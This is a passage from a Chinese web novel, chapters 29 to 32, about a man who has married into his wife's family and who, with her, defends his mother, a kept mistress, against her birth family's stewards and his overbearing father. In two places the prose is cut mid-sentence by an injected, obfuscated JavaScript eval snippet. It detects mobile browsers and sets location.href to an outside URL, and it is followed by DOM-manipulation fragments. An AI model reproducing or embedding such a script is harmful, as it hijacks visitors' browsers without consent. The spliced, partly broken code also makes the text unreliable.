“这如何能行,夫人病重就等着姑小姐回去,小爷这话万万不行。夫人也是您……” 裴元神冷厉,就等着看这管事能说出什么话来。果然话说到一半卡了壳,只含混着说什么一定要念在母女亲情上,劝关氏跟他们回京。 裴元本也没打算从他们嘴里逼出什么话来,便是他们做了保事情也不是他们能做主的。不过是把他们的态度摸清楚,也就够了。 “再急,也不急在这两日。”真要是只剩一口气吊着了,这两个管事恐怕连裴家和关氏什么态度都不会管,直接把人带上船一路北上。 至于之后有什么麻烦,不说关家能摆平。那时候把母女亲情搬出来才更有用,母亲临终前就想见失散多年的女儿一面,不过是先把人带走了,这是什么大不了的事吗。 他们既然没选择这么干,裴元心里就把稳得很,要着急也轮不到自己着急。 “我成家了,要去府城自然是要带着妻子一起过去。管事若着急,不如现行替我回去给我娘传个信儿,就说我给她求了个好儿媳妇回来,我们随后就来。” “小爷,这可不成啊……” “时辰不早了,家里还有老小就不陪二位了,等会儿着人把饭菜送来,二位好生歇着吧。” 这就连关家现在在京城到底是个什么样的人家他也好似半点兴趣都没有。他们两个不主动说,他就一句也不问。 韦管事还 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“时辰不早了,今儿就不留三爷在妾身这边宿,等他们把元哥儿带回来,有什么事到时候再商量吧。” 都说色衰而爱驰,关氏二十二岁生裴元,裴元今年十九,关氏也是四十出头的人了。再出色卓绝的容貌,四十岁的妇人又如何跟二八年华的女子相比。 早几年关氏就听说裴老三在外面又养了一房,那人好似还是女支院里的红人。 自那以后裴老三来自己这儿就更少了,来了也只吃顿饭并不做什么。她知道他还来,是因为自己给他生了裴元,也是自己动作之间带着大家闺秀的风范。 裴老三这人文不成武不就,从小比不过上面两个哥哥,要不然也不会只有他留在家中打理二房的庶务,连个不入流的官职都没给他谋来。 偏又是个要脸面的,总觉得两个兄长娶的都是官家女,只有他娶的妻子娘家是富商,这也能让他觉得抬不起头来。 当年他肯花大价钱从周寡妇手里把关氏买来,就是看中她的是官宦人家的小姐。 直至今日,都多大岁数的人了,还是时不时就要往自己这里来,看着自己规规矩矩的伺候他,过这个干瘾。 对此关氏平日不拆他的台,巷子里孩子,还喜欢把沙子泥土凑成堆当山珍海味,你是爹我是娘的过家家。 总之每个月十二两银子准时送到这小院来,就当是陪他闹着玩儿。 但现在不行,裴老三今日若是留下,关家的管事说不定就真要被裴家拿捏。 关氏说话依旧轻声细语,语气里却多了几分不容置疑。裴老三心中不快,又说不得什么。一旁的严管事已经极为识趣的起身往外走,他再留着就不像话了。 从关氏的小院出来,严管事带着两个小厮回了客栈。裴老三一路跟着送回去,看着几人进了客栈这才往回走。 关氏不松口,裴家一大家子、关家的管事和关氏,就只能干等着。却不想好不容易等到韦管事回来,没见着裴元,倒得了裴元入赘给谢家当了女婿的消息,可把众人惊了个够呛。 29.第 29 章 第二天韦管事一走,谢九九马上开始收拾行李。 给关氏准备好的孝敬都是早就准备好的,布料和茶叶是本地给长辈送孝敬时必备的,谢九九给关氏准备了两匹绸缎两匹锦缎,两匹杭绸,还有两匹松江细棉布。 茶叶是今春岳州当地的新茶,炒茶的师傅也是经年的老师傅了。是云客来用了好些年的茶师傅,专门给家里留出来的。 以前谢德昌每年都要往亲戚和朋友家里送一些,现在轮到谢九九还是这么个习惯,就连县衙里的几个老爷家都知道,每年春上谢家都要送茶来。 再有就是家里自己做的点心和干货腊货,和一些专门跟铺子里定的一些干海货。岳州不临海,这些东西不提前定下来,买都没地儿买去。 裴元跟在谢九九身后,看着她收拾这些东西,心中泛起一阵酸软涟漪。这人明面上什么都要丁是丁卯是卯的算计清楚,其实做起事来远不是嘴上那般。 就好比秦娘子,说是饭庄比绣坊的事情多,平时还要帮着她这个新掌柜支应客人,一个月工钱比在绣坊能多开二钱,一天三顿都能在店里吃。 四钱银子,听着比起秦娘子之前在绣坊的二钱好像多了许多,但其实云客来几个店小二都是四钱,秦娘子干的活儿却要比他们更细致更杂一些。 定下这么个工钱,是不让店里的其他人眼红,一个女人出来干活儿给得多了,对她来说不一定是好事。 但饭庄的生意,每天都有剩下的饭菜和食材。店里几个伙计跑堂只有一个成亲了且家就在县城的,剩下几个不是还没成家,就是家在底下镇上乡里。 这些人平时吃住都在店里,除了偶尔回家多少要从后厨拿些当日没用完的菜肉,其余剩下的秦娘子也能多少拿些回去,反正她不带第二天也不能再卖给客人。 这么一来,别说家里两个孩子,就连何奎的饭钱也能省出来。何奎在码头饭庄两头跑,哪里有活儿往哪里奔,一个月一、二两银子总能挣下来。 加上秦娘子的收入,一家四口在县城里过日子,眼看着就宽裕起来了。 谢九九回来跟家里人说起这个,只说是秦娘子能干,背后又有何奎这个在码头混老了的人撑腰,真有什么事吆喝一嗓子,何奎从码头带着兄弟过来也快。 把她放在饭庄里,就算自己有时候不去铺子里也能安心。 这理由找得冠冕堂皇,裴元却知道她只是看着秦娘子带着两个孩子,家里家外的操持不容易,心软罢了。 心软的谢九九,这会儿心里还指不定怎么忐忑,生怕自己这次去府城是肉包子打狗,一去不回头。 “你放心,我娘去不去京城都未可知,她去我也不会走,定不会叫你招一场女婿落得一场空。” “嗯。” 从关家的管事找上门来到现在,谢九九就显得格外沉默。 在后院安抚母亲和弟弟妹妹时,谢九九找的理由是,这毕竟是关家的事,即便是裴元也不好多插嘴什么,咱们又怎么好显得过于在意。 但她心里又怎么可能会没有担心,自己跟裴元这一场夫妻之间,非要说有多深的感情,没了他自己就活不成,这话不说旁人不信,就是自己也不信。 没有那么深的感情,自己又凭什么留住人家。两人成亲之前一条一条写在婚书上,自家可以给他的所有东西,关家都能给,自家给不了的身份体面关家肯定也能给。 跟着关氏回京城,做关家的表少爷,还是留在容县做谢家的赘婿,换做是谢九九来选,谢九九还真就不敢把答案说出来。 东西收拾好,明天搬上马车就能出发。 这一次去府城不知道要留多少天,谢九九看着大大小小好几个包袱皮,背对着裴元深吸了一口气,调整好脸上的神情,这才转过身来推着裴元从次间出来。 “什么空不空的,我又没问你。今天赶紧去县衙把要交代的事情交代清楚,你不在大舅用谁都不顺手。我去一趟铺子里,明天让潘掌柜跟我们一起走。” 谢九九不接这个茬,裴元也不再提这事。 第二天早晨在家里吃了早饭,出门坐上马车绕路去潘掌柜家接上潘掌柜,好像这次去府城,真就是去见见关氏给她这个长辈请安,其余的什么都没有。 从容县到府城,马车走了大半天。连中午饭都是在路旁的茶摊上,要了茶水就着早上陈妈妈新做的饼子,把肚子填饱就算完了。 谢九九上一次来府城还是十岁那年,谢德昌来府城办事,出门的时候被十二岁的谢九九噘着嘴堵着门不让走。谢德昌拿女儿没法子,只能把她也带上。 十岁的小孩儿还没开始长个子,小小的一个人儿被爹牵着走在府城里,看什么都新鲜。 多年过去,身边的父亲变成了丈夫,谢九九还是看什么都新鲜,却不能再拉着身旁人的衣袖,叽叽喳喳的问,这是什么那又是什么。 马车一直走到关氏住的小院门口才停下,小宅子就四正四方的一进,关氏带着儿子和一个伺候的丫头住了好些年。 裴元被过继出去之后,关氏把同住在一条巷子里的一个老寡妇给找了来。 那寡妇只有一个女儿也嫁人了,不是不管她,但婆家不在府城,一年到头回来的次数就有限。 关氏一个外宅,带着小丫鬟过日子不成,干脆把唐寡妇给请过来一起住。跟着关氏一起吃每月还给二钱银子,就是借借她的身份挡住别有用心的人,能过个安生日子。 唐寡妇说是老,其实也才五十来岁。从年轻时开始守寡,独自拉扯一个女儿长大。 都说寡妇门前是非多,唐寡妇年轻的时候据说长得也好,为什么她能守得住寡,一来是她自己没心再嫁,二来是这个人的性子颇有些油盐不进。 年轻的时候叫泼辣,年纪大了便成了一副凶巴巴的样子。眼睛看人总带着几分挑剔,因为老皱着眉头看人,年纪大了眉心正中间都多了一道深深的竖纹,看上去就更凶了。 有这么个守寡几十年为人正派的寡妇守着门,即便儿子不在身边裴老三很少过来, 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但她也肯定不能接受自己入赘的事,说不通的事就不要说,裴元向来不会在这种事上浪费时间。一声祖父,提醒这大娘自己是已经过继出去的儿子,也就够了。 小院子不大,进门就是三间正房带两边的厢房,中间围出来一个小小的院子,裴元在门口说的话,里面的人没全听清也听了个大概,一屋子人除了关氏都挺尴尬的。 韦管事是昨天回来的,带回来裴元入赘的消息,让一大早就来了关氏这边的裴老三变了脸色。 大户人家的管事都机灵,一大早从谢家出来没直接回来,而是找人打听了一下裴元入赘到底因为什么,别是被谢家给骗了。 真要是被骗被逼的,如今裴元身后有关家,一个县城里的小小的谢家怕是想留也留不住人。 谁知人家还真就是自愿的,事情的原委县城很多人都知道做不得假。这是说到底就是裴老三想要总旗的武职还不肯大方,把儿子往裴雨伯那里一推就不管了。 想着瘦死的骆驼比马大,裴雨伯怎么也要留些家底给裴元。哪知裴雨伯是个真敢花的,裴元也是个实心眼子。靠人家得了个清白的出身,就真把家底子全贴进去了。 人死了留下一堆烂摊子,想读书又一直被俗务缠着,要赶考手里多余的银子一分都没有。马上二十的男子没成亲的也不多了,不入赘怎么办? 他自己不给自己谋一条出路,还真就没人替他操办了。 儿子先是成了别人家的嗣子,后又成了别人家的女婿,裴老三此刻多少有些坐立不安。 他再不是个玩意儿也怕看见儿子跟在妻子屁股后头进来,上门女婿嘛,在裴老三这样当了大半辈子爷的人心里,就是这么个形象。 他坐着没动,只有关氏起身迎了出去。 昨天刚知道儿子给人当了上门女婿时,关氏也是又气又急。一夜枯坐后,把眼泪擦干把心情收拾好,至少谢九九见到从屋里出来的关氏时,看不出她脸上有半分怒意。 30.第 30 章 “这么热的天,一路上不好走吧。” 木已成舟,亲事已然做成了,自己高兴不高兴不要紧,要紧的是儿子顺心不顺心。 当初过继裴元,自己觉得是为了儿子好,没吵没闹就这么把儿子推出门送走了。 本意当然是想他往后路走得更顺些,不曾想儿子在外面报喜不报忧,过得并不好。现在儿子自己选了入赘这条路,以后能不能好,关氏不敢再轻易下定论。 但她清楚一点,眼下自己不能给儿子和他妻子之间添堵下蛆,自己这点不高兴,咽不下也得咽,笑不出也得笑! “是九九吧,昨天听从县城回来的人夸你大方懂事,模样又标致。我还道元哥儿哪有这么好的运道,能得这么个样样皆好的妻子。” 谢九九外表很能唬人,明眸皓齿唇红齿白,笑盈盈的一张脸杏眼弯弯,糯团子一般站在裴元身侧并不张扬跋扈,只有没有错后裴元半步的站位,能看出来这对夫妻的地位。 “娘说这话太客气了。” 谢九九笑着任由关氏牵住自己的手往屋里走,“早就该来给娘请安,是我家的事一件接着一件才给耽误了。” “加上我俩这事办得实在不周到,生怕长辈责怪,一来二去的拖,拖到今天才来,都是我和远舟的不是。” 开口只说是自家的不是,主动把入赘没有告诉关氏说成是不周到,却半点不说裴元入赘这事儿错了。 又只说今天来府城是为了给关氏请安,至于关家的事谢九九提都不提,好像这只不过是无关紧要的一件事,半点儿不上心不着急。 “远舟这孩子离了我,就只知道报喜不报忧,他在容县过的什么日子我是全然不知的。” 关氏也曾经托人去容县看过裴元,守孝期间本就不能铺张浪费,裴元再拮据又不曾亏待了家里人,外人不问究竟确实看不出他的日子过得有多不好。 “入赘的事他没告诉我,是怕我不同意。” 两人进屋,关家两个管事都站在一旁规规矩矩,再怎么也是姑小姐和姑小姐生的小爷,不能说当奴仆的在主家跟前托大。 只有裴老三黑着脸坐在一旁,听着关氏说起入赘的事,一副愤愤然的模样。 “我也不瞒着你,要是这孩子提前把这事告诉我,我是肯定不会同意的。可如今这事已然成了,我就只有盼着你们把日子过好的心,你们日子过得和顺了,别的都是次要的。” “这话远舟也同我说过,前两天韦管事去县城肯定也打听了我家的情况。 我招赘是不得已而为之,我和远舟的婚书也已在县衙存了一份。往后我忙铺子里的事,远舟专心读书,日子自然是要越过越好的。” 何奎和曹勇跟在后面,把大包小包的东西从马车上拿下来,光是那些布料就来回搬了两趟才搬完。 关氏不是没见过好东西,谢九九准备的布料不能算顶好的,但绝对是谢家这个档次能拿得出手最好的。 没有打肿脸充胖子,或是故意拿银子来以势压人,这就是要跟关氏好好相处的意思,并没有因为她是外室就不想认这个婆婆。 本来觉得是谢家占了自己儿子便宜的关氏,看着谢九九这幅做派,心里的不满不由减了两分,连一直在院子里指挥曹勇何奎干活的唐寡妇,眉心的竖纹好似都没有那么深刻了。 东西有何奎他们归置,不用多管。裴老三和关氏本也不算夫妻,儿子是成亲了但儿子也早就过继出去了,见父母再有什么礼数这会儿也挑剔不着。 裴老三倒是想教训儿子,可还没张嘴就先被谢九九带着挑剔和沉甸甸的眼刀子给堵了回去。 不是怕了谢九九,而是他有些拿不准谢九九到底是个什么性子。 要是当着关家人的面,她这个当小辈儿的不管不顾的挤兑自己,自己能怎么办?怎么办都丢人。只能先忍着气儿,把关家的事先办了再说。 裴元和谢九九在屋里一坐定,严管事就忍不住把来意又跟裴元说了一遍。 “好叫小爷知道,老夫人和家中大爷、五爷都盼着姑小姐回去,老夫人去年病重,病中更是一直念叨着姑小姐。 说句僭越的话,上了年纪的人,今日睡下明日还能不能起来又有谁知道,小人们这次出来找不到姑小姐便罢,找到了不赶紧回去,若是赶不上见老夫人最后一面,想来也是一桩憾事。” 宰相门前七品官,关家还没出个宰相,但关家的二管事出了府门走到哪儿也是老有体面的爷们。这次伏低做小等了几天早有些不耐烦,对裴元说话自然颇有几分不客气。 裴元见他这样也不恼,点点头理了理袍角,起身走到他跟前居高临下俯视着,“你说你家着急找我娘,那为何找来了却处处语焉不详。” “你来寻人却不明说关家如今到底什么境况,你说没说你家如今在京城是何等家世,家中还有何人,接我娘回去见老夫人一面,见过之后呢。 是留在京城还是送回来,要是送回来那这次去京城就是去探亲的。要是留在京城又该以什么名义,是你关家把流落在外的姑小姐接回家,还是……” 裴元看了一眼坐在一旁脸色难看的裴老三,又看了看自己的娘亲,深深吸了一口气才把话继续往下说,“还是以裴家三爷外室的身份接回去,你们什么都不说清楚,我娘凭什么跟你们走。” 两个管事千里迢迢从京城到岳州,要说关家老夫人不想女儿,肯定是假的。 可他们难道从未想过女儿要是真的活着,是靠什么活下来的?被好心人捡回去收养,好好养大然后嫁做人妇,那可不是委屈,那是天大的运道。 自己的娘没有这样的运道,自己和娘也都不是听别人说几句话就会什么都不管不顾跟着走的人。 或许这两天娘背地里也盼着骨肉团聚,但盼过了也就过了,不是十几岁什么都不懂什么都能不顾的姑娘了,方才在院子里母子两个一对眼,裴元就明白关氏到底是个什么打算。 “一个病得只剩一口气的女孩儿独自流落在外,贵府是真的从没想过我娘这些年该是什么境遇?恐怕是不敢想,想了也不敢说罢了。 贵府的主子们没说,两位管事就不敢自作主张,只能意会主子们没说出口的意思,先想法子把人带回去,至于其他的那就到时候再说。” 可关氏不能跟他们到时候再说啊,这些年给裴老三当外室,难道是什么好名声不成。 再这么黑不提白不提的跟着关家人走了,旁人哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262298|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里知晓内情,还不知道要说出多难听的话来编排关氏,就连裴元也免不了被卷进来。 一个给人做了二十多年外室的女人,都徐娘半老还闷声不响不见人影了,到时候众人是相信是关氏的娘家找来把人接走了,还是别的更香艳更不堪的流言,猜都猜得到。 被说中了打算的严管事脸上的神情有些讪讪,“小爷说的事情小的们想过,本是想着先把姑小姐带回府,等日后再派人来解释……” “都说身正不怕影子歪,这话在理却也不在理。” 裴元没等严管事把话说完,就冷着脸打断了,“人言可畏,流言兴起时用不着证据,一夜之间就能满城皆知。之后你们再想要把流言澄清,就是难上加难!” 懒得继续跟他们掰扯这些,裴元转身重新在谢九九身边坐下,“贵府想要带我娘走,得跟裴家说明白,得名正言顺的接我娘走。” “我娘没嫁过人,关家把人接回去我娘便只是关家的女儿,跟裴家、跟岳州,往后就没有半点关系了。” 是了,关氏没嫁过人,她这些年就是没名没分的跟着裴老三。 关家真要接人回去不是不行,但得名正言顺的接,得叫人知道关家清楚关氏这些年的境遇,还愿意认这个女儿,得叫街坊四邻和裴家知道,从今往后关氏就跟裴家没有关系了。 这么着,关氏回京不管是在关老夫人跟前伺候尽孝,还是关家养着她这个姑小姐,亦或是关氏自己在京城另立门户自己过日子都行。 但关家眼下明摆着从没想过怎么替关氏周全,他们只是想把人带回去哄着关家老夫人安心,关氏以后是好是歹对于关家来说,倒也不是全然不在意。 不过他们骨子里就透着一股傲慢,傲慢得连想都不愿意想自己的母亲会有如何不堪的遭遇,傲慢得以为把人带上一走了之,就能抹去母亲这几十年的人生。 裴元的话严管事听懂了,他本以为关氏一口咬定非要把裴元找来,裴元端着架子连跟着老韦一起回府城都不肯,肯定是想要关家把姑小姐母子两个一起带回京城。 甚至昨天晚上严管事和韦管事两人都商量好了,姑小姐要是非要带上裴元那就带上。 府里还有几个偏僻的小院子,收拾出来让裴元住着,就当是投奔府里的亲戚,也不是多为难的事。 当年关家遭贬,被关家牵连的亲戚朋友也不少,后来关家起复来投奔的关家或多或少都得帮衬一二。哪怕裴元是想借着关家的势,跟谢家把已然成了婚事给退了,也算不得什么不能办的大事。 “不行!”却不想一直坐在一旁没说话的裴老三却突然插嘴,一脸阴沉的看向裴元,“你娘跟了我大半辈子,如今你连商量都不跟我商量,就要别人把你娘带走,你这安的是什么心!” 这话一出,别说关氏和裴元皱眉,就是一直坐在一旁没说话谢九九都以一种十分惊诧的目光看向裴老三。 人家关氏那是跟了你大半辈子吗,那是不得不被你买回来圈在这个小院子里,当个玩意儿圈了大半辈子。但凡真把关氏当个人,带回裴家当个姨娘,也比现在这样强吧。 现在跳出来说这个话,难道还指望关氏和裴元感念你的情不成?这人脑子里想什么呢。 31.第 31 章 或许是众人的眼神过于不加掩饰,裴老三有些恼羞成怒。 眼睛顺着屋里的人看了一圈,最后落在裴元身上,几乎是噌一下从椅子里跳起来,手指哆里哆嗦指着裴元的鼻子破口大骂。 “你是老子生的,没有老子哪来的你,从出生起老子是缺你吃了还是少你穿了。 你自作主张入赘去了别人家也就罢了,还敢反过头来撺掇你娘抛夫,这是哪门子的道理。你娘说要供你读书,读了这么多年就读出你这个没人伦的混账!” “裴三爷,这怎么话说的。你既知道远舟已经入赘到我家了,怎么还好当着我的面这么骂人。难道裴家没有出嫁的女子,难道裴家的长辈平日也是这么当着女婿的面骂你家女儿的?” 裴老三是个混球,骂起人来不管不顾什么话都敢往外说。 本朝把孝道看得极重,要不然也不会裴元给裴雨伯结结实实守了三年孝,大家伙就认他是裴雨伯这一支的嗣孙,至于他之前是不是外室子,反而不那么要紧了。 裴老三是裴元的亲生父亲,这也是眼下谁也不能更改的事实。 裴老三不用裴元的供养,可要是裴老三真的到处宣扬说裴元不孝没人伦,裴元别说科举,就是日后再要读书,恐怕好一点的先生都不会收他。 谢九九不想插手裴家和关家的事,但她不能让人骂到裴元头上来。打狗都得看主人,他裴老三太没有分寸了。 “你!哪里来的小家妇,一点规矩也没有。” “容县谢家的女儿,你待如何!” 谢九九拉过裴元藏到自己身后,裴元被她要高大半个头,又不是个文弱身子,这么挡又能挡得住什么。 偏谢九九生来一副霸道性子,凶起来那股恶狠狠的劲儿还真有些吓唬人。至少裴老三就没再继续数落裴元,说出更加不好听的话来。 而是转身看向关氏,哪怕强压着火气也忍不住显露出三分颐指气使和无端的傲慢。 “五娘,你来说,这事该怎么办,难不成你也要舍了我和元哥儿。你可想好,你要是真走了,往后再想回来见儿子可就难了。” “别叫我五娘!”被周寡妇收养的女孩儿不止关氏一个,她是大户人家养出来的小姐,底子好身段也好,那几年除了琴棋书画,周寡妇还教了她跳舞。 她不想学就得挨打,被打得死去活来的再不想学也都学会了。 碰上裴老三的时候,他喊她的是舞娘。后来被他收做外室,舞娘实在不好听才成了关五娘。关氏从未告诉过裴老三,自己有名字,从来不是他的什么狗屁五娘! 关氏站起身挺直腰杆,却是径直走向严管事。 “当年母亲把我留在岳州,我这才留了一命。按理说家中找来,我这个做女儿的半句多话都不该有,就得跟着两位管事回家,伺候在母亲身旁,才能报她生我一场又救我一命的大恩。” “可你们也瞧见了,我走不了。我这么不明不白的走了,我儿子的前程就毁了。” “生了孩子才知道儿女都是债,这辈子就当是我欠了爹娘的。还请管事送信回京,替我禀明一切。若愿意便想法子光明正大的来接我,若不愿意……” 关氏看了一眼裴元,又往门外看了一眼。小小一个院子圈了自己二十多年,以前半夜想起来都觉得愤懑不平,现在好似也没有那么难受了。 关家要是嫌弃自己这些年的遭遇不愿意认,关氏也没想过要纠缠。已经这么稀里糊涂的过了二十年,再这么过下去,其实也不是忍受不了。 “若关家不愿意,这事就该父亲出面,想法子替我娘把这件事说清楚。” 但裴元不可能再让关氏往后缩,事情都已经闹到这个份上了,说什么都得有个结果。箭在弦上不得不发,说的就是眼下。 “父亲,娘的事我早就放在心上琢磨了,倒不是今日才想的。” 要不说谢九九觉得自己跟裴元相配呢,这心眼子寻常人还真没有。裴家觉得自己占了便宜,从裴雨伯那里把总旗的武职给拿了回来。 而裴元则是早早的就已经想到了要拿裴老三头上这个总旗的武职做文章,只不过之前是想等自己考中了秀才,至少他说话有人听了,再提这事。 现在既然有关家当大旗,裴元自然想要让关氏早点脱离苦海。 “本朝律法,朝廷官员纳妾需符合礼制。并且纳妾需经正妻点头,外室是不被承认的。” 说到外室二字的时候,关氏的腰杆子都往下塌了塌,还是谢九九把人扶住了,悄悄伸手扶在她背后安抚着摩挲了好几下,才没叫她当着裴老三的面塌了气势。 “以前您身上没有官职,在外面在养外室,除了三夫人没人会管这事。” 现在不一样,虽说总旗这样的低阶武职不起眼,裴老三平时也很少去卫所,有什么事情花点银子让下面的人帮他干了就行了,但总归是有人管着了。 “也就是眼下天下太平,家中老爷还在高州任通判,没人会在这些小事上跟您计较。但纸包不住火,即便关家因为我娘做了外室不认我娘,这事您以为能瞒多久。” 等外人都知道了,要么你裴老三这几年把整个卫所上上下下的人脉人情都维持住了,要不然就免不了有人要拿这个事跟你做文章。 想要遮掩,是没法遮掩了的。裴元这么大个儿子杵在这儿,说什么都不好使。可要是你能主动把这事给料理干净,以后就是有人要找你的茬儿,关家就不会站干岸。 要不然,满朝文武这么多人,谁能保证谁家能世世代代永保富贵。哪天犯了事全家遭贬不说,亲生骨肉还得一辈子给人当外室当个玩意儿。 雷霆雨露皆是圣恩,这种事怪不了皇上上官,难道还迁怒不了你一个高州通判家中,没考过功名只有个世袭总旗武职的裴老三吗。 更别说这个武职承袭得还不光彩,真要丁是丁卯是卯的较真,这个武职得是裴元的,跟你裴老三半毛钱关系都没有。 毕竟是给裴家二房管了多年庶务的人,后半截话裴元不说裴老三也懂了。当下的脸色很不好看,但再不好看态度也肉眼可见的缓和下来。 不说不答应也不说答应,只说这事得送信去高州,该把事情跟家里长辈禀明再说。 这话说出来,谢九九没忍住低头嗤笑了一声。 当年在外面养外室的时候没见着这么听话问家里长辈,现在外室身份变了,想留留不住了,这下想起来家里还有长辈了,怎么这么逗呢。 不过笑归笑,事情就是这么个事情。关家的管事和裴家的三爷都拿不定主意,都要写信等个回音,那就只能等。 关家两个管事回客栈去,裴老三耷拉个脑袋回裴家,只有谢九九陪着关氏吃了顿饭,安安心心留在小院里住下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269724|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴元的屋子关氏一直留着,被褥都是昨天夜里关氏提前换好的。明明也不乐意儿子招赘给谢家做上门女婿,关氏还是什么都准备好了。 谢九九在床边坐下,手指轻轻拂过蓬松的被子和柔软的褥子,被褥上还有淡淡的皂角香和太阳的味道,一摸就知道这些用的盖的都是经常拿出去晒过的,才会这般舒服。 “你也别着急了,这两个管事做不了主,裴三爷这一下子肯定也下不了决心。等着吧,等京城和高州的信回来再说。” 其实要是自己是裴老三,今天这事当场就得答应下来。哪怕关家这俩管事不愿意,也得想法子逼着他们愿意。 关氏多大岁数了,留下来给你当外室两人之间没有那档子事,两人之间又还有裴元这个亲生的儿子维系着,怕什么。 顺水推舟做个人情把关氏好好送回去,以后真碰上什么要命的事,关家不说尽心尽力,也不会站干岸一点都不管。 现在这样黏黏糊糊要答应不答应的拉扯犹豫,之后就是什么都依了关家的,关家也不会记他这个好,这又是何必。 “我不着急。”裴元拿过蒲扇挨着谢九九坐下,“原本我是想着,要是我能早日考取功名,也能让我娘早日脱离了这个小院。” 跟着裴老三这么不明不白的过日子有什么好,在裴元的设想中,以后自己有钱了就给关氏买个小宅子,立了女户找个丫鬟找个婆子伺候着。 “我要是能考上,能留在京城就想法子在京城买,要是得外任就在任上买。我这样没什么根基的,一旦外任为官,听他们说几十年不回了京城也是常事。” “宅子不必大,离咱们近一些就行。隔三差五过去看看,缺了什么给补上,难道不比如今的日子强。” 裴元是个很有分寸的人,这是谢九九跟他成亲以后最大的感受。 关上门的时候,幔帐放下来,床帏之间简直浑闹得没个边。 好几次谢九九都想问他,他书房里那么成箱成箱的书里是不是也偷藏了春宫,还得是比自己手里那画册要更稀罕更要命的,要不然怎么就那么多花招,折腾得人腰酸腿疼! 等出了门,就再没人看得出他也有那般放浪形骸的时候。 家里母亲觉得这个女婿端方知礼,文济觉得他这个姐夫博古通今才情特别好,就连向来对谁都淡淡的芝娘,这次出门前都主动拉着谢九九,嘱咐她出去一趟千万别把姐夫落外面,一定要把人带回去。 娘和弟弟妹妹这个态度,就说明家里多了裴元她们依旧过得自在,自在得家里人生怕裴元因为关氏的变故,就这么稀里糊涂的离了谢家。 “其实……” “诶,有些事我与娘子虽没在成亲前提及,也未曾写在婚书上。但我以为这些事你我之间都有默契,有些话不能说,有些事不可为啊~” 蒲扇的风大半都扇在谢九九身上,后背的薄汗渐渐收了。 谢九九拿过点心匣子里装的花生剥开,把皮给搓了放到裴元手心,“那我以后可就真不提了啊。” 关氏的情况特殊,裴元再是入赘的姑爷,以后他要带着他亲娘一起住,谢九九也不能硬拦着。可现在他主动这么说,谢九九自然乐得不跟婆婆一个屋檐下过日子。 “快别提了。”裴元笑着把煮过的花生米扔进嘴里,搂着谢九九安心睡下,“放心,这事肯定能成。” 32.第 32 章 能成什么?在小院住了几天谢九九就明白了。 这种事就像裴元所说,难道裴家不说关家不说,哪怕谢家和黄家都不说,别人就不知道了吗。 光是关家两个管事来了岳州,以关家的名义托的关系找的人就不少,现在关家的姑小姐找到了,这事能瞒着人家吗,就是想瞒又如何瞒得住。 便是除开那些人,就连一直对裴老三在外面养外室装聋作哑的正妻蒋氏也知道了。 “三爷,有些事您真的不打算同我说一说?哪怕通个气儿呢。” 蒋氏的娘家在府城也算是有头有脸的人家,家里是世代贩卖药材的大户,家里光是往西南去的商队就有好几条。 要说银子,每年跟淌水似的往家里赚真真一点不夸张,唯一的缺憾就是家里没个读书出仕的人。 前些年也捐了官,可或许世上没有样样好的事情。早年捐了官的叔叔还谋了个实差,却不想人还没到任上,就遇着山洪死在半道上。 后来蒋氏的哥哥捐了个七品的武职,原想着这次就花钱买个体面,把卫所上下的关系处好,家里生意上有什么小事不用再托别人,自家抬抬手解决就行了。 谁知哥哥的官也只当了三年,蒋氏十五岁那年她哥哥和卫所的同僚出去打猎,说不清发生了什么,她哥哥从马上摔下来,被送回家只熬了三天,就也死了。 家里的爷们因为入仕接连丢了性命,本就迷信的生意人家自然更加认定家里没有出仕为官的命。 但没有这个命,也得替家里多寻些靠山。 当时蒋家给蒋氏说的亲事也是城中富户,就因为哥哥去世家里又不肯再让男丁入仕,只能悔了蒋氏的婚约,转过头来把她嫁给了裴家二房的老三。 裴老三从年轻时起就是府城里小有名气的纨绔,读书不成还整日流连烟花之地。 听说十四岁就学会给女支院里的花魁点灯笼,十八岁没能把亲事给定下来,就是因为只要随便一打听便知道裴三少爷院子里,养了好几个通房。 正妻没过门,就先养了这么多通房,这是什么狗屎名声。裴家再是地头蛇,家中也一直有人在做官,但真的愿意拿亲生女儿去填裴三这个坑的,还是少之又少。 再说裴三自己也挑拣呢,想跟两个兄长那样娶个官家小姐,又想要娶个貌美如花温柔小意的妻子。这也想要那也想要,拖拖拉拉到了十八也没能把亲事定下来。 直到碰上蒋家,看上裴家二老爷官场上的前途,愿意给蒋氏远超出一般情况下的嫁妆,两人的婚事才这么做成了。 都说当年蒋氏嫁过来时,是实打实的十里红妆,不说珠宝首饰布料绸缎这些,光是田产和银票都装了满满一个大匣子,更不要说那一整套红酸枝的家具。 当时人人都说裴家老三娶了个极金贵的媳妇,可金贵有什么用呢,蒋氏再厉害,过了门就把院子里几个通房都打发了,也不耽误裴老三继续往家里纳妾。 连着纳了三个妾,一个被蒋氏规训得平日里连抬头都不敢,出门走路都只低着头,见谁都不说话。 还有两个,一个生了个儿子,生完就死了。另一个一直无所出,这些年在裴家活得就像个透明人。 蒋氏厉害,裴三当然知道。但裴三这些年管着家里的庶务和田产,蒋氏和蒋家多有助力。几个妾室罢了,她乐意往她们身上撒气,裴老三犯不着为了她们跟蒋氏翻脸。 